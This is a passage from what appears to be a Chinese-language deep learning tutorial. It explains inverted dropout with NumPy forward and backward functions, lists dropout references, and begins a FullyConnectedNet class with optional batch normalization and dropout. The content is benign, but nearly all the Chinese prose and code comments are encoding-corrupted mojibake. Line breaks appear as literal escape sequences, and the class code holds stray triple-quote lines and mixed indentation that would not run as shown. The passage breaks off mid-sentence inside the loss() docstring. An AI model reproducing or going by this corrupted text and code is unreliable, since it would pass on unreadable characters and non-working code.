ไธบๅฎƒไปฌ้ƒฝๅ…ฑไบซๅ‚ๆ•ฐ๏ผ‰ใ€‚\n\n![](http://cs.nyu.edu/~wanli/dropc/nn_do.jpg)\n\nไธŠๅ›พๆ˜ฏๆญฃๅ‘ไผ ๆ’ญไธญ๏ผŒ็ฅž็ปๅ…ƒไปฌๆŠŠๅพ—ๅˆ†่พ“ๅ‡บ็ป™ๆฟ€ๆดปๅ‡ฝๆ•ฐaไน‹ๅŽ๏ผŒไผš็ป่ฟ‡ไธ€ไธชๅ‡ฝๆ•ฐm๏ผŒๅฎƒไผšๆ นๆฎไธ€ไธช่ถ…ๅ‚ๆ•ฐpๆฆ‚็Ž‡ๅœฐ่ฎฉ้ƒจๅˆ†็ฅž็ปๅ…ƒไธๅทฅไฝœ๏ผˆๅ…ถ่พ“ๅ‡บ็ฝฎไธบ0๏ผ‰๏ผŒๅนถไธ”ๅˆฉ็”จ็”Ÿๆˆ็š„้šๆœบๅคฑๆดป้ฎ็ฝฉ(mask)ๅฏน่พ“ๅ‡บๆ•ฐๆฎ็Ÿฉ้˜ต่ฟ›่กŒๆ•ฐๅ€ผ่Œƒๅ›ด่ฐƒๆ•ดใ€‚ๅœจๆต‹่ฏ•่ฟ‡็จ‹ไธญไธไฝฟ็”จdropout๏ผŒๅฏไปฅ็†่งฃไธบๆ˜ฏๅฏนๆ•ฐ้‡ๅทจๅคง็š„ๅญ็ฝ‘็ปœไปฌๅšไบ†ๆจกๅž‹้›†ๆˆ๏ผˆmodel ensemble๏ผ‰๏ผŒไปฅๆญคๆฅ่ฎก็ฎ—ๅ‡บไธ€ไธชๅนณๅ‡็š„้ข„ๆต‹ใ€‚ๅๅ‘ไผ ๆ’ญไฟๆŒไธๅ˜๏ผŒไฝ†ๆ˜ฏ่‚ฏๅฎš้œ€่ฆๅฐ†ๅฏนๅบ”็š„้ฎ็ฝฉ่€ƒ่™‘่ฟ›ๅŽปใ€‚\n\n---\n\n่ฟ˜ๆ˜ฏ้‚ฃๅฅ่ฏ๏ผŒๅ†็ฉบๆดž็š„็†่ฎบ้˜่ฟฐ๏ผŒ้ƒฝไธๅฆ‚็›ดๆŽฅ้ฃžไปฃ็ ๆฅ็š„ๅฎž้™…๏ผ\n\nไธ‹้ขๆ˜ฏๅœจๆญฃๅ‘ไผ ๆ’ญไธญ๏ผŒๅœจdropoutๅฑ‚ๅค„ๅฎšไน‰็š„ `dropout_forward(x, dropout_param) = (out, cache) ` ๅ‡ฝๆ•ฐ๏ผš\n\n```python\ndef dropout_forward(x, dropout_param):\n \"\"\"\n Performs the forward pass for (inverted) dropout.\n Inputs:\n - x: Input data, of any shape\n - dropout_param: A dictionary with the following keys:\n - p: Dropout parameter. We drop each neuron output with probability p.\n - mode: 'test' or 'train'. If the mode is train, then perform dropout;\n if the mode is test, then just return the input.\n - seed: Seed for the random number generator. Passing seed makes this\n function deterministic, which is needed for gradient checking but not in\n real networks.\n Outputs:\n - out: Array of the same shape as x.\n - cache: A tuple (dropout_param, mask). In training mode, mask is the dropout\n mask that was used to multiply the input; in test mode, mask is None.\n \"\"\"\n p, mode = dropout_param['p'], dropout_param['mode']\n if 'seed' in dropout_param:\n np.random.seed(dropout_param['seed'])\n\n mask = None\n out = None\n\t# ่ฎญ็ปƒๆจกๅผ\n if mode == 'train':\n keep_prob = 1 - p\n mask = (np.random.rand(*x.shape) < keep_prob) / keep_prob\n out = mask * x\n # ๆต‹่ฏ•ๆจกๅผ\n elif mode == 'test':\n out = x\n\n cache = (dropout_param, mask)\n out = out.astype(x.dtype, copy=False)\n\n return out, cache\n```\n\n**ไปฃ็ ่ฏฆ่งฃ๏ผš**\n\n- ่พ“ๅ…ฅๆ•ฐๆฎ็Ÿฉ้˜ตx๏ผŒๅ…ถshapeๅฏไปฅไปปๆ„ใ€‚dropout็š„ๅ‚ๆ•ฐๅญ—ๅ…ธ `dropout_param` ไธญๅญ˜ๆœ‰่ถ…ๅ‚ๆ•ฐ `p` ๅ’Œ `mode`๏ผŒๅˆ†ๅˆซไปฃ่กจๆฏๅฑ‚็ฅž็ปๅ…ƒไปฌ่ขซๅคฑๆดป็š„ๆฆ‚็Ž‡ๅ’Œๅฝ“ๅ‰ dropout ๅฑ‚ๆ˜ฏ่ฎญ็ปƒๆจกๅผ๏ผŒ่ฟ˜ๆ˜ฏๆต‹่ฏ•ๆจกๅผใ€‚่ฏฅๅ‚ๆ•ฐๅญ—ๅ…ธไธญ็š„ๅฏไปฅๆœ‰้šๆœบๆ•ฐ็”Ÿๆˆ็งๅญ `seed`๏ผŒ่ฆๆฅๆ ‡่ฎฐ้šๆœบๆ€งใ€‚\n\n- ๅœจ่ฎญ็ปƒๆจกๅผไธ‹๏ผŒ้ฆ–ๅ…ˆ๏ผŒไปฃ็  `(np.random.rand(*x.shape)`๏ผŒ่กจ็คบๆ นๆฎ่พ“ๅ…ฅๆ•ฐๆฎ็Ÿฉ้˜ตx๏ผŒไบฆๅณ็ป่ฟ‡\"ๆฟ€ๆดป\"ๅŽ็š„ๅพ—ๅˆ†๏ผŒ็”Ÿๆˆไธ€ไธช็›ธๅŒshape็š„้šๆœบ็Ÿฉ้˜ต๏ผŒๅ…ถไธบๅ‡ๅŒ€ๅˆ†ๅธƒ็š„้šๆœบๆ ทๆœฌ[0,1)ใ€‚็„ถๅŽๅฐ†ๅ…ถไธŽๅฏ่ขซไฟ็•™็ฅž็ปๅ…ƒ็š„ๆฆ‚็Ž‡ `keep_prob` ๅšๆฏ”่พƒ๏ผŒๅฐฑๅฏไปฅๅพ—ๅˆฐไธ€ไธช้šๆœบ็œŸๅ€ผ่กจไฝœไธบ้šๆœบๅคฑๆดป้ฎ็ฝฉ(mask)ใ€‚ๅŽŸๅง‹็š„ๅŠžๆณ•ๆ˜ฏ๏ผš็”ฑไบŽๅœจ่ฎญ็ปƒๆจกๅผๆ—ถ๏ผŒๆˆ‘ไปฌไธขๆŽ‰ไบ†้ƒจๅˆ†็š„ๆฟ€ๆดปๅ€ผ๏ผŒๆ•ฐๅ€ผ่ฐƒๆ•ด `out = mask * x` ๅŽ้€ ๆˆๆ•ดไฝ“ๅˆ†ๅธƒ็š„ๆœŸๆœ›ๅ€ผ็š„ไธ‹้™๏ผŒๅ› ๆญคๅœจ้ข„ๆต‹ๆ—ถๅฐฑ้œ€่ฆไน˜ไธŠไธ€ไธชๆฆ‚็Ž‡ `keep_prob`๏ผŒๆ‰่ƒฝไฟๆŒๅˆ†ๅธƒ็š„็ปŸไธ€ใ€‚ไธ่ฟ‡๏ผŒๆˆ‘ไปฌ็”จไธ€็งๅซๅš**inverted dropout**็š„ๆŠ€ๅทง๏ผŒๅฐฑๆ˜ฏๅฆ‚ไธŠ้ขไปฃ็ ๆ‰€็คบ๏ผŒ็›ดๆŽฅๅœจ่ฎญ็ปƒๆจกๅผไธ‹ๅคš้™คไปฅไธ€ไธชๆฆ‚็Ž‡ `keep_prob`๏ผŒ้‚ฃไนˆๅœจๆต‹่ฏ•ๆจกๅผไธ‹ๅฐฑไธ็”จๅšไปปไฝ•ๆ“ไฝœไบ†๏ผŒ็›ดๆŽฅ่ฎฉๆ•ฐๆฎ้€š่ฟ‡dropoutๅฑ‚ๅณๅฏใ€‚ๅฆ‚ไธ‹ๅ›พๆ‰€็คบ๏ผš\n\n ![](https://codelabs.developers.google.com/codelabs/cloud-tensorflow-mnist/img/5ee25552f4c216c.png)\n\n- ๅœจๆœ€ๅŽ๏ผŒๅ‡ฝๆ•ฐ่พ“ๅ‡บ็ป่ฟ‡dropoutไธ”ไธŽ่พ“ๅ…ฅx็›ธๅŒshape็š„out่พ“ๅ‡บ็Ÿฉ้˜ตๅ’Œ็ผ“ๅ†ฒไฟ็•™dropout็š„ๅ‚ๆ•ฐๅญ—ๅ…ธ `dropout_param`๏ผŒๅ…ถไธญๅซๆœ‰่ฏฅๅฑ‚็š„ๅคฑๆดปๆฆ‚็Ž‡่ถ…ๅ‚ๆ•ฐ `p` ๏ผŒๆจกๅผ็Šถๆ€ `mode`๏ผŒๅ’Œ้šๆœบๅคฑๆดป้ฎ็ฝฉ `mask`๏ผŒไปฅๅœจๅๅ‘ไผ ๆ’ญไธญๅค‡็”จใ€‚\n\n\n\nๅœจ่ฎญ็ปƒๆจกๅผไธ‹็š„ๅๅ‘ไผ ๆ’ญไธญ๏ผŒๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๆขฏๅบฆ้€š่ฟ‡dropoutๅฑ‚็š„ `dropout_backward(dout, cache) = dx` ๅ‡ฝๆ•ฐๆๆ€•ๆ˜ฏๅ†™่ตทๆฅๆœ€็ฎ€ๅ•็š„๏ผš\n\n```python\ndef dropout_backward(dout, cache):\n \"\"\"\n Perform the backward pass for (inverted) dropout.\n Inputs:\n - dout: Upstream derivatives, of any shape\n - cache: (dropout_param, mask) from dropout_forward.\n \"\"\"\n dropout_param, mask = cache\n mode = dropout_param['mode']\n \n dx = None\n if mode == 'train':\n dx = mask * dout\n \n elif mode == 'test':\n dx = dout\n return dx\n```\n\n**ไปฃ็ ่ฏฆ่งฃ๏ผš**\n\n- ๆ˜พ็„ถๅœจ่ฎญ็ปƒๆจกๅผไธ‹๏ผŒdropoutๅฑ‚็š„ๅฑ€้ƒจๆขฏๅบฆๅฐฑๆ˜ฏ้šๆœบๅคฑๆดป้ฎ็ฝฉ `mask`ใ€‚\n\n\n\nๅฐๆณจ๏ผš\n\nๆœ€ๆ—ฉ็š„Dropoutๅฏไปฅ็œ‹Hinton็š„่ฟ™็ฏ‡ๆ–‡็ซ  [ใ€ŠImproving neural networks by preventing co-adaptation of feature Detectorsใ€‹](http://arxiv.org/pdf/1207.0580.pdf)๏ผŒๅœจDropoutๅ‘ๅธƒๅŽ๏ผŒๅพˆๅฟซๆœ‰ๅคง้‡็ ”็ฉถไธบไป€ไนˆๅฎƒ็š„ๅฎž่ทตๆ•ˆๆžœๅฆ‚ๆญคไน‹ๅฅฝ๏ผŒไปฅๅŠๅฎƒๅ’Œๅ…ถไป–ๆญฃๅˆ™ๅŒ–ๆ–นๆณ•ไน‹้—ด็š„ๅ…ณ็ณปใ€‚ๅฆ‚ๆžœไฝ ๆ„Ÿๅ…ด่ถฃ๏ผŒๅฏไปฅ็œ‹็œ‹่ฟ™ไบ›ๆ–‡็Œฎ๏ผš\n\n- [Dropout paper](http://link.zhihu.com/?target=http%3A//www.cs.toronto.edu/%257Ersalakhu/papers/srivastava14a.pdf) by Srivastava et al. 2014.\n- [Dropout Training as Adaptive Regularization](http://link.zhihu.com/?target=http%3A//papers.nips.cc/paper/4882-dropout-training-as-adaptive-regularization.pdf)๏ผšโ€œๆˆ‘ไปฌ่ฎคไธบ๏ผšๅœจไฝฟ็”จ่ดนๅธŒๅฐ”ไฟกๆฏ็Ÿฉ้˜ต๏ผˆ[fisher information matrix](http://link.zhihu.com/?target=https%3A//en.wikipedia.org/wiki/Fisher_information_metric)๏ผ‰็š„ๅฏน่ง’้€†็Ÿฉ้˜ต็š„ๆœŸๆœ›ๅฏน็‰นๅพ่ฟ›่กŒๆ•ฐๅ€ผ่Œƒๅ›ด่ฐƒๆ•ดๅŽ๏ผŒๅ†่ฟ›่กŒL2ๆญฃๅˆ™ๅŒ–่ฟ™ไธ€ๆ“ไฝœ๏ผŒไธŽ้šๆœบๅคฑๆดปๆญฃๅˆ™ๅŒ–ๆ˜ฏไธ€้˜ถ็›ธ็ญ‰็š„ใ€‚โ€\n\nๅฏนไบŽDropout่ฟ™ๆ ท็š„ๆ“ไฝœไธบไฝ•ๅฏไปฅ้˜ฒๆญข่ฎญ็ปƒ่ฟ‡ๆ‹Ÿๅˆ๏ผŒๅŽŸไฝœ่€…ไนŸๆฒกๆœ‰็ป™ๅ‡บๆ•ฐๅญฆ่ฏๆ˜Ž๏ผŒๅชๆ˜ฏๆœ‰ไธ€ไบ›็›ด่ง‚็š„็†่งฃๆˆ–่€…่ฏด็Œœๆƒณ๏ผŒๆฏ”ๅฆ‚๏ผš็”ฑไบŽ้šๆœบ็š„่ฎฉไธ€ไบ›็ฅž็ปๅ…ƒไธๅทฅไฝœไบ†๏ผŒๅ› ๆญคๅฏไปฅ้ฟๅ…ๆŸไบ›็‰นๅพๅชๅœจๅ›บๅฎš็ป„ๅˆไธ‹ๆ‰็”Ÿๆ•ˆ๏ผŒๆœ‰ๆ„่ฏ†ๅœฐ่ฎฉ็ฅž็ป็ฝ‘็ปœๅŽปๅญฆไน ไธ€ไบ›ๆ™ฎ้็š„ๅ…ฑๆ€ง๏ผˆ่€Œไธๆ˜ฏๆŸไบ›่ฎญ็ปƒๆ ทๆœฌ็š„ไธ€ไบ›็‰นๆ€ง๏ผ‰ใ€‚\n\nๆ›ดๅคš็ป†่Š‚ๅฏไปฅ้˜…่ฏปๅŽŸ่ฎบๆ–‡ไบ†่งฃ๏ผŒไนŸๅฏไปฅๅ‚่€ƒไปฅไธ‹ๅšๆ–‡๏ผš\n\n[็ณปๅˆ—่งฃ่ฏปDropout](http://blog.csdn.net/shuzfan/article/details/50580915)\n\n[็†่งฃdropout](http://blog.csdn.net/stdcoutzyx/article/details/49022443)\n\n[ๆทฑๅบฆๅญฆไน ็ฝ‘็ปœๅคงๆ€ๅ™จไน‹Dropoutโ€”โ€”ๆทฑๅ…ฅ่งฃๆžDropout](https://yq.aliyun.com/articles/68901)\n\n[Regularization of Neural Networks using DropConnect](http://cs.nyu.edu/~wanli/dropc/)\n\n\n\n\n### ๆž„้€ ไปปๆ„ๆทฑๅบฆ็š„็ฅž็ป็ฝ‘็ปœ๏ผ\n\n\n\nๆŽฅไธ‹ๆฅ๏ผŒๆˆ‘ไปฌ่ฆๅšไธ€ไปถๅพˆ็‰›้€ผ็š„ไบ‹ๆƒ…๏ผŒ้‚ฃๅฐฑๆ˜ฏๆž„้€ ไธ€ๅผ ๆ›ดๅŠ ๅผบๅคง็š„ๅ…จ่ฟžๆŽฅ็ฅž็ป็ฝ‘็ปœ๏ผŒไธไป…ๅŒ…ๅซไบ†ๆˆ‘ไปฌไน‹ๅ‰ๆ•…ไบ‹้‡Œๆๅˆฐ็š„ๆ‰€ๆœ‰็ฎ—ๆณ•ๅ’ŒๆŠ€ๅทง๏ผŒๅŒๆ—ถไธ้™ๅฎš็ฅž็ป็ฝ‘็ปœ็š„ๆทฑๅบฆ(้š่—ๅฑ‚็š„ๅฑ‚ๆ•ฐ)ๅ’ŒๅŽšๅบฆ(้š่—ๅฑ‚็ฅž็ปๅ…ƒ็š„ไธชๆ•ฐ)ใ€‚\n\nไธ‹้ข็›ดๆŽฅไธ€่กŒไธ€่กŒ็š„้˜…่ฏปไปฃ็ ๏ผŒๆˆ‘ไปฌๅฎšไน‰ไธ€ไธช `FullyConnectedNet()` ็ฑป๏ผŒ้‡Œ้ขๅชๆœ‰ไธ€ไธชๅˆๅง‹ๅŒ–ๅ‡ฝๆ•ฐ `__init__()` ๅ’Œไธ€ไธชๆŸๅคฑๅ‡ฝๆ•ฐ `loss()`๏ผš\n\n```python\nclass FullyConnectedNet(object):\n \"\"\"\n ไธ€ไธชไปปๆ„้š่—ๅฑ‚ๆ•ฐๅ’Œ็ฅž็ปๅ…ƒๆ•ฐ็š„ๅ…จ่ฟžๆŽฅ็ฅž็ป็ฝ‘็ปœ๏ผŒๅ…ถไธญ ReLU ๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผŒsofmax ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผŒๅŒๆ—ถๅฏ้€‰็š„\n ้‡‡็”จ dropout ๅ’Œ batch normalization(ๆ‰น้‡ๅฝ’ไธ€ๅŒ–)ใ€‚้‚ฃไนˆ๏ผŒๅฏนไบŽไธ€ไธชLๅฑ‚็š„็ฅž็ป็ฝ‘็ปœๆฅ่ฏด๏ผŒๅ…ถ\n ๆก†ๆžถๆ˜ฏ๏ผš \n \n {affine - [batch norm] - relu - [dropout]} x (L - 1) - affine - softmax\n \n ๅ…ถไธญ็š„[batch norm]ๅ’Œ[dropout]ๆ˜ฏๅฏ้€‰้žๅฟ…้กป็š„๏ผŒๆก†ๆžถไธญ{...}้ƒจๅˆ†ๅฐ†ไผš้‡ๅคL-1ๆฌก๏ผŒไปฃ่กจ\n\tL-1 ไธช้š่—ๅฑ‚ใ€‚\n \t\n \tไธŽๆˆ‘ไปฌๅœจไธŠ้ข็š„ๆ•…ไบ‹ไธญๅฎšไน‰็š„ TwoLayerNet() ็ฑปไฟๆŒไธ€่‡ด๏ผŒๆ‰€ๆœ‰ๅพ…ๅญฆไน ็š„ๅ‚ๆ•ฐ้ƒฝไผšๅญ˜ๅœจ \n \tself.params ๅญ—ๅ…ธไธญ๏ผŒๅนถไธ”ๆœ€็ปˆไผš่ขซๆœ€ไผ˜ๅŒ– Solver() ็ฑป่ฎญ็ปƒๅญฆไน ๅพ—ๅˆฐ(ๅŽ้ข็š„ๆ•…ไบ‹ไผš่ฐˆๅˆฐ)ใ€‚\n \"\"\"\n\t\"\"\"\n\t\"\"\"\n #1# ็ฌฌไธ€ๆญฅๆ˜ฏๅˆๅง‹ๅŒ–ๆˆ‘ไปฌ็š„ FullyConnectedNet() ็ฑป๏ผš\n def __init__(self\n ,hidden_dims\t\t# ไธ€ไธชๅˆ—่กจ๏ผŒๅ…ƒ็ด ไธชๆ•ฐๆ˜ฏ้š่—ๅฑ‚ๆ•ฐ๏ผŒๅ…ƒ็ด ๅ€ผไธบ่ฏฅๅฑ‚็ฅž็ปๅ…ƒๆ•ฐ\n ,input_dim=3*32*32\t# ้ป˜่ฎค่พ“ๅ…ฅ็ฅž็ปๅ…ƒ็š„ไธชๆ•ฐๆ˜ฏ3072ไธช(ๅŒน้…CIFAR-10ๆ•ฐๆฎ้›†)\n ,num_classes=10\t# ้ป˜่ฎค่พ“ๅ‡บ็ฅž็ปๅ…ƒ็š„ไธชๆ•ฐๆ˜ฏ10ไธช(ๅŒน้…CIFAR-10ๆ•ฐๆฎ้›†)\n ,dropout=0\t\t\t# ้ป˜่ฎคไธๅผ€ๅฏdropout๏ผŒ่‹ฅๅ–(0,1)่กจ็คบๅคฑๆดปๆฆ‚็Ž‡\n ,use_batchnorm=False\t# ้ป˜่ฎคไธๅผ€ๅฏๆ‰น้‡ๅฝ’ไธ€ๅŒ–๏ผŒ่‹ฅๅผ€ๅฏๅ–True\n ,reg=0.0\t\t\t# ้ป˜่ฎคๆ— L2ๆญฃๅˆ™ๅŒ–๏ผŒๅ–ๆŸscalar่กจ็คบๆญฃๅˆ™ๅŒ–็š„ๅผบๅบฆ\n ,weight_scale=1e-2\t# ้ป˜่ฎค0.01๏ผŒ่กจ็คบๆƒ้‡ๅ‚ๆ•ฐๅˆๅง‹ๅŒ–็š„ๆ ‡ๅ‡†ๅทฎ\n ,dtype=np.float64\t# ้ป˜่ฎคnp.float64็ฒพๅบฆ๏ผŒ่ฆๆฑ‚ๆ‰€ๆœ‰็š„่ฎก็ฎ—้ƒฝๅบ”่ฏฅๅœจๆญค็ฒพๅบฆไธ‹ใ€‚\n ,seed=None):\t\t# ้ป˜่ฎคๆ— ้šๆœบ็งๅญ๏ผŒ่‹ฅๆœ‰ไผšไผ ้€’็ป™dropoutๅฑ‚ใ€‚\n \"\"\"\n \"\"\"\n # ๅฎžไพ‹(Instance)ไธญๅขžๅŠ ๅ˜้‡ๅนถ่ต‹ไบˆๅˆๅ€ผ๏ผŒไปฅๆ–นไพฟๅŽ้ข็š„ loss() ๅ‡ฝๆ•ฐ่ฐƒ็”จ๏ผš\n self.use_batchnorm = use_batchnorm\n self.use_dropout = dropout > 0\t# ๅฏ่ง๏ผŒ่‹ฅdropout่‹ฅไธบ0ๆ—ถ๏ผŒไธบFalse\n self.reg = reg\n self.num_layers = 1 + len(hidden_dims)\t# ๅœจloss()ๅ‡ฝๆ•ฐ้‡Œ๏ผŒ\n \t\t\t\t\t\t\t\t\t\t# ๆˆ‘ไปฌ็”จ็ฅž็ป็ฝ‘็ปœ็š„ๅฑ‚ๆ•ฐๆฅๆ ‡่ฎฐ่ง„ๆจก\n self.dtype = dtype\n self.params = {}\t\t\t\t# self.params ็ฉบๅญ—ๅ…ธไฟๅญ˜ๅพ…่ฎญ็ปƒๅญฆไน ็š„ๅ‚ๆ•ฐ\n\t\t\"\"\"\n\t\t\"\"\"\n # ๅฎšไน‰ๆ‰€ๆœ‰้š่—ๅฑ‚็š„ๅ‚ๆ•ฐๅˆฐๅญ—ๅ…ธ self.params ไธญ๏ผš\n in_dim = input_dim\t# Eg: in_dim = D\n for i, h_dim in enumerate(hidden_dims):\t# Eg:(i, h_dim)=(0, H1)ใ€(1, H2)...\n # Eg: W1(D, H1)ใ€W2(H1, H2)... \t\t\tๅฐ้šๆœบๆ•ฐไธบๅˆๅง‹ๅ€ผ\n self.params[\"W%d\" % (i+1,)] = weight_scale * \\\n \t\t\t\t\t\t\tnp.random.randn(in_dim\n ,h_dim)\n # Eg: b1(H1,)ใ€b2(H2,)...\t\t\t\t0ไธบๅˆๅง‹ๅ€ผ\n self.params[\"b%d\" % (i+1,)] = np.zeros((h_dim,))\n if use_batchnorm:\t\t\t\t\t# ่‹ฅๆœ‰ๆ‰น้‡ๅฝ’ไธ€ๅŒ–ๅฑ‚\n \t# Eg: gamma1(H1,)ใ€gamma2(H2,)...\t1ไธบๅˆๅง‹ๅ€ผ\n # Eg: beta1(H1,)ใ€beta2(H2)...\t\t0ไธบๅˆๅง‹ๅ€ผ\n self.params[\"gamma%d\" % (i+1,)] = np.ones((h_dim,))\t\n self.params[\"beta%d\" % (i+1,)] = np.zeros((h_dim,))\n in_dim = h_dim\t# ๅฐ†่ฏฅ้š่—ๅฑ‚็š„ๅˆ—ๆ•ฐไผ ้€’็ป™ไธ‹ไธ€ๅฑ‚็š„่กŒๆ•ฐ\n \"\"\"\n \"\"\"\n # ๅฎšไน‰่พ“ๅ‡บๅฑ‚็š„ๅ‚ๆ•ฐๅˆฐๅญ—ๅ…ธ params ไธญ๏ผš\n self.params[\"W%d\" % (self.num_layers,)] = weight_scale * \\\n np.random.randn(in_dim\n ,num_classes)\n self.params[\"b%d\" % (self.num_layers,)] = np.zeros((num_classes,))\n\t\t\"\"\"\n\t\t\"\"\"\n \"\"\"\n ๅฝ“ๅผ€ๅฏ dropout ๆ—ถ๏ผŒๆˆ‘ไปฌ้œ€่ฆๅœจๆฏไธ€ไธช็ฅž็ปๅ…ƒๅฑ‚ไธญไผ ้€’ไธ€ไธช็›ธๅŒ็š„\n dropout ๅ‚ๆ•ฐๅญ—ๅ…ธ self.dropout_param ๏ผŒไปฅไฟ่ฏๆฏไธ€ๅฑ‚็š„็ฅž็ปๅ…ƒไปฌ\n ้ƒฝ็Ÿฅๆ™“ๅคฑๆดปๆฆ‚็Ž‡pๅ’Œๅฝ“ๅ‰็ฅž็ป็ฝ‘็ปœ็š„ๆจกๅผ็Šถๆ€mode(่ฎญ็ปƒ๏ผๆต‹่ฏ•)ใ€‚ \n \"\"\"\n self.dropout_param = {}\t# dropout็š„ๅ‚ๆ•ฐๅญ—ๅ…ธ\n if self.use_dropout: # ๅฆ‚ๆžœuse_dropout็š„ๅ€ผๆ˜ฏ(0,1)๏ผŒๅณๅฏ็”จdropout\n \t# ่ฎพ็ฝฎmode้ป˜่ฎคไธบ่ฎญ็ปƒๆจกๅผ๏ผŒๅ–pไธบๅคฑๆดปๆฆ‚็Ž‡\n self.dropout_param = {'mode': 'train', 'p': dropout}\n if seed is not None: # ๅฆ‚ๆžœๆœ‰seed้šๆœบ็งๅญ๏ผŒๅญ˜ๅ…ฅseed\n self.dropout_param['seed'] = seed\n \t\"\"\"\n \t\"\"\"\n \t\"\"\"\n \tๅฝ“ๅผ€ๅฏๆ‰น้‡ๅฝ’ไธ€ๅŒ–ๆ—ถ๏ผŒๆˆ‘ไปฌ่ฆๅฎšไน‰ไธ€ไธชBN็ฎ—ๆณ•็š„ๅ‚ๆ•ฐๅˆ—่กจ self.bn_params ๏ผŒ\n \tไปฅ็”จๆฅ่ทŸ่ธช่ฎฐๅฝ•ๆฏไธ€ๅฑ‚็š„ๅนณๅ‡ๅ€ผๅ’Œๆ ‡ๅ‡†ๅทฎใ€‚ๅ…ถไธญ๏ผŒ็ฌฌ0ไธชๅ…ƒ็ด  self.bn_params[0] \n \t่กจ็คบๆญฃๅ‘ไผ ๆ’ญ็ฌฌ1ไธชBNๅฑ‚็š„ๅ‚ๆ•ฐ๏ผŒ็ฌฌ1ไธชๅ…ƒ็ด  self.bn_params[1] ่กจ็คบๆญฃๅ‘ไผ ๆ’ญ\n \t็ฌฌ2ไธชBNๅฑ‚็š„ๅ‚ๆ•ฐ๏ผŒไปฅๆญค็ฑปๆŽจใ€‚\n \"\"\"\n self.bn_params = []\t\t# BN็ฎ—ๆณ•็š„ๅ‚ๆ•ฐๅˆ—่กจ\n if self.use_batchnorm:\t# ๅฆ‚ๆžœๅผ€ๅฏๆ‰น้‡ๅฝ’ไธ€ๅŒ–๏ผŒ่ฎพ็ฝฎๆฏๅฑ‚mode้ป˜่ฎคไธบ่ฎญ็ปƒๆจกๅผ\n self.bn_params = [{'mode': 'train'} for i in range(self.num_layers - 1)] \n # ไธŠ้ข self.bn_params ๅˆ—่กจ็š„ๅ…ƒ็ด ไธชๆ•ฐๆ˜ฏhidden layers็š„ไธชๆ•ฐ\n \t\"\"\"\n \t\"\"\"\n # ๆœ€ๅŽ๏ผŒ่ฐƒๆ•ดๆ‰€ๆœ‰็š„ๅพ…ๅญฆไน ็ฅž็ป็ฝ‘็ปœๅ‚ๆ•ฐไธบๆŒ‡ๅฎš่ฎก็ฎ—็ฒพๅบฆ๏ผšnp.float64\n for k, v in self.params.items():\n self.params[k] = v.astype(dtype)\n\t\"\"\"\n\t\"\"\"\n\t#2# ็ฌฌไบŒๆญฅๆ˜ฏๅฎšไน‰ๆˆ‘ไปฌ็š„ๆŸๅคฑๅ‡ฝๆ•ฐ๏ผš\n def loss(self, X, y=None):\n \"\"\"\n ๅ’Œ TwoLayerNet() ไธ€ๆ ท๏ผš\n ้ฆ–ๅ…ˆ๏ผŒ่พ“ๅ…ฅ็š„ๆ•ฐๆฎXๆ˜ฏไธ€ไธชๅคš็ปด็š„array๏ผŒshapeไธบ(ๆ ทๆœฌๅ›พ็‰‡็š„ไธชๆ•ฐN*3*32*32),\n yๆ˜ฏไธŽ่พ“ๅ…ฅๆ•ฐๆฎXๅฏนๅบ”็š„ๆญฃ็กฎๆ ‡็ญพ๏ผŒshapeไธบ(N,)ใ€‚\n # ๅœจ่ฎญ็ปƒๆจกๅผไธ‹๏ผš#\n ๆˆ‘ไปฌlossๅ‡ฝๆ•ฐ็›ฎๆ ‡่พ“ๅ‡บไธ€ไธชๆŸๅคฑๅ€ผlossๅ’Œไธ€ไธชgradsๅญ—ๅ…ธ๏ผŒ\n ๅ…ถไธญๅญ˜ๆœ‰lossๅ…ณไบŽ้š่—ๅฑ‚ๅ’Œ่พ“ๅ‡บๅฑ‚็š„ๅ‚ๆ•ฐ(W,B,gamma,beta)็š„ๆขฏๅบฆๅ€ผ.\n # ๅœจๆต‹่ฏ•ๆจกๅผไธ‹๏ผš#\n ๆˆ‘ไปฌ็š„lossๅ‡ฝๆ•ฐๅช้œ€่ฆ็›ดๆŽฅ็ป™ๅ‡บ่พ“ๅ‡บๅฑ‚ๅŽ็š„ๅพ—ๅˆ†ๅณๅฏใ€‚\n \"\"\"\n \"\"\"\n \"\"\"\n # ๆŠŠ่พ“ๅ…ฅๆ•ฐๆฎๆบ็Ÿฉ้˜ตX็š„็ฒพๅบฆ่ฐƒๆ•ดไธ€ไธ‹\n X = X.astype(self.dtype) \n # ๆ นๆฎๆญฃ็กฎๆ ‡็ญพyๆ˜ฏๅฆไธบNoneๆฅ่ฐƒๆ•ดๆจกๅผๆ˜ฏtest่ฟ˜ๆ˜ฏtrain\n mode = 'test' if y is None else 'train' \n\t\t\"\"\"\n\t\t\"\"\"\n \"\"\"\n ็กฎๅฎšไบ†ๅฝ“ๅ‰็ฅž็ป็ฝ‘็ปœๆ‰€ๅค„็š„ๆจกๅผ็Šถๆ€ๅŽ๏ผŒ\n ๅฐฑๅฏไปฅ่ฎพ็ฝฎ dropout ็š„ๅ‚ๆ•ฐๅญ—ๅ…ธๅ’Œ BN ็ฎ—ๆณ•็š„ๅ‚ๆ•ฐๅˆ—่กจไธญ็š„modeไบ†๏ผŒ\n ๅ› ไธบไป–ไปฌๅœจไธๅŒ็š„ๆจกๅผไธ‹่กŒไธบๆ˜ฏไธๅŒ็š„ใ€‚\n \"\"\"\n if self.dropout_param is not None: # ๅฆ‚ๆžœๅผ€ๅฏdropout\n self.dropout_param['mode'] = mode\n if self.use_batchnorm:\t\t\t\t# ๅฆ‚ๆžœๅผ€ๅฏๆ‰น้‡ๅฝ’ไธ€ๅŒ–\n for bn_param in self.bn_params:\n bn_param['mode'] = mode\n\t\t\"\"\"\n\t\t\"\"\"\n scores = None\n \"\"\"\n \"\"\"\n \"\"\"\n %ๆญฃๅ‘ไผ ๆ’ญ%\n ๅฆ‚ๆžœๅผ€ๅฏไบ†dropout๏ผŒๆˆ‘ไปฌ้œ€่ฆๅฐ†dropout็š„ๅ‚ๆ•ฐๅญ—ๅ…ธ self.dropout_param \n ๅœจๆฏไธ€ไธชdropoutๅฑ‚ไธญไผ ้€’ใ€‚\n ๅฆ‚ๆžœๅผ€ๅฏไบ†ๆ‰น้‡ๅฝ’ไธ€ๅŒ–๏ผŒๆˆ‘ไปฌ้œ€่ฆๆŒ‡ๅฎšBN็ฎ—ๆณ•็š„ๅ‚ๆ•ฐๅˆ—่กจ self.bn_params[0]\n ๅฏนๅบ”ๆญฃๅ‘ไผ 